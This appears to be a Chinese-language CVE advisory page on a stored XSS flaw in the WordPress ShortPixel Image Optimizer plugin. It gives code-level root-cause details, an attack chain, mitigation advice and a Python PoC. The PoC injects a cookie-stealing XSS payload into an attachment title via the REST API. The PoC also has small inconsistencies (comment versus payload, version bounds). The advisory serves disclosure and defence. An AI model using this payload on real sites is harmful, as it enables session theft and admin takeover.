IPBUF安全漏洞报告
English
CVE-2026-4335 CVSS 5.4 中危

CVE-2026-4335: WordPress ShortPixel插件存储型XSS漏洞

披露日期: 2026-03-26

漏洞信息

漏洞编号
CVE-2026-4335
漏洞类型
存储型跨站脚本攻击
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
WordPress ShortPixel Image Optimizer

相关标签

XSSWordPressShortPixelStored XSSCWE-79插件漏洞

漏洞概述

WordPress ShortPixel Image Optimizer插件在6.4.3及之前版本中存在存储型跨站脚本(XSS)漏洞。该漏洞源于插件在处理附件标题时缺乏足够的输出转义。具有作者及以上权限的经过身份验证的攻击者可以通过REST API设置恶意的附件标题,当管理员查看受感染的附件时,将触发恶意脚本执行,可能导致权限提升。

技术细节

该漏洞的核心问题在于`AjaxController.php`中的`getEditorPopup()`函数及其对应的视图模板`media-popup.php`。具体而言,插件在`AjaxController.php`第435行通过`get_post()`从数据库获取附件的`post_title`,并在第449行将其直接传递给视图模板。在`media-popup.php`第139行,该标题被渲染到HTML input元素的value属性中,且未使用WordPress的`esc_attr()`函数进行转义。由于WordPress允许具有作者权限的用户通过REST API设置包含双引号等特殊字符的任意附件标题,攻击者可以构造一个能够逃逸HTML属性上下文的Payload。当高权限用户(如管理员)打开经过“投毒”的附件的ShortPixel AI编辑器弹窗(背景移除或图像放大)时,注入的JavaScript事件处理器将被执行。

攻击链分析

STEP 1
1
攻击者以作者或更高权限账户登录WordPress后台。
STEP 2
2
攻击者利用WordPress REST API上传新的媒体文件或编辑现有附件。
STEP 3
3
攻击者修改附件的标题字段,注入包含双引号的恶意XSS Payload,用于逃逸HTML属性。
STEP 4
4
管理员访问受影响附件的ShortPixel AI编辑器弹窗(如背景移除功能)。
STEP 5
5
由于未经过滤的标题直接输出,恶意JavaScript代码在管理员浏览器中执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit Title: ShortPixel Image Optimizer < 6.4.3 - Stored XSS via Attachment Title # Description: Updates an attachment title to inject XSS into the admin popup # Usage: python poc.py <url> <username> <password> <attachment_id> target_url = "http://target-wordpress-site.com" wp_user = "author" wp_pass = "password" attachment_id = 123 # 1. Authenticate to get a nonce session = requests.Session() login_data = {'log': wp_user, 'pwd': wp_pass, 'wp-submit': 'Log In', 'redirect_to': '%s/wp-admin' % target_url} session.post('%s/wp-login.php' % target_url, data=login_data) # 2. Retrieve a valid REST API nonce (X-WP-Nonce) response = session.get('%s/wp-admin/admin.php?page=shortpixel-images' % target_url) # (In a real scenario, parsing the nonce from the page headers or body is required) # For demonstration, let's assume the REST API is accessible with the auth cookie # and we update the post title directly. # 3. Prepare the Payload # The payload breaks out of the value attribute: value="[PAYLOAD]" # We use a double quote to close the attribute and an onfocus event handler xss_payload = '"><img src=x onerror=alert(document.cookie)><input value="' # 4. Send REST API request to update the attachment title api_endpoint = '%s/wp-json/wp/v2/media/%d' % (target_url, attachment_id) headers = { 'Content-Type': 'application/json' } data = { 'title': xss_payload } # Note: Requires REST API authentication cookie from the session response = session.post(api_endpoint, headers=headers, json=data) if response.status_code == 200: print("Payload injected successfully.") print("An Administrator must now open the ShortPixel AI editor for attachment %d." % attachment_id) else: print("Failed to inject payload.") print(response.text)

影响范围

ShortPixel Image Optimizer <= 6.4.3

防御指南

临时缓解措施
建议立即将ShortPixel Image Optimizer插件更新至最新版本。如果暂时无法更新,应禁用ShortPixel AI编辑器功能,或严格限制非管理员用户的媒体上传和编辑权限,特别是阻止通过REST API对附件标题进行修改。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表